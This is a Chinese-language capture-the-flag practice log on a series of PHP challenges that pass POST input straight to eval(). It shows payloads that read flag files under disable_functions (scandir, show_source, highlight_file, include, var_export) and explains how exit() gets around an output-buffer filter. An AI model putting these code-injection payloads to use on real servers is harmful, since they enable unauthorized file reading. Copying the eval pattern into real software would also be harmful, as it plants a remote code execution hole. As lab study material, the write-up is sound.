刷题记录。
关键源码:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
POST传参就行了。试了一下system(),pssthru()都被disable_functions禁用了。
可以用php的读取函数打, php常见的文件读取函数有:
var_dump() #打印变量相关信息
print_r() #打印多个变量的值,可以打印复杂类型变量的值,如array
file_get_contents()
highlight_file()
show_source() #highlight_file()的别名
readfile()
scandir() #用于打印目录下的文件
参考payload:
print_r(scandir('.')); #打印当前目录文件名字
show_source('flag.php'); #对文件进行语法高亮显示。
和web58一样,多过滤了一些函数。
参考payload:
show_source('flag.php');
print_r(scandir('/'));
这次show_source()也被ban了,发现highlight_file()还能用。
参考payload:
highlight_file('/flag.txt');
print_r()需要换成var_dump()。
highlight_file()被ban了,可以使用include()包含。
var_dump()被过滤了,使用var_export()
var_export——输出或返回一个变量的字符串表示
题目给了源码附件,
关键源码:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}
首先介绍一下ob_get_contents()和ob_end_clean这两个函数。
缓冲区(Buffer)就是在内存中预留指定大小的存储空间用来对I/O的数据做临时存储,这部分预留的内存空间叫缓冲区。也就是说,在内存空间中预留了一定的存储空间,这些存储空间用来缓冲输入或输出的数据,这部分预留的空间就叫做缓冲区。
缓冲区根据其对应的是输入设备还是输出设备,分为输入缓冲区和输出缓冲区。
ob_get_contents:返回输出缓冲区的内容,只是得到缓冲区的内容,但不清除它。
ob_end_clean:清空(擦除)缓冲区并关闭输出缓冲。
讲讲我个人的理解:eval执行我们的命令后,输出flag内容,但是输出要经过缓冲区,对输出数据进行缓存,通过ob_get_contents() 原来的数据赋值给了$s,然后又用ob_end_clean将缓冲区清空了,那么eval就没办法输出了(缓冲区都被清空了),所以就只有$s一个输出了。所以这里可以通过exit()或者die() (exit别名)退出,这样的话就没有ob_end_clean这个缓冲区清空操作,输出就能正常输出。
——————————————————————
如有错误,欢迎指正。
因篇幅问题不能全部显示,请点此查看更多更全内容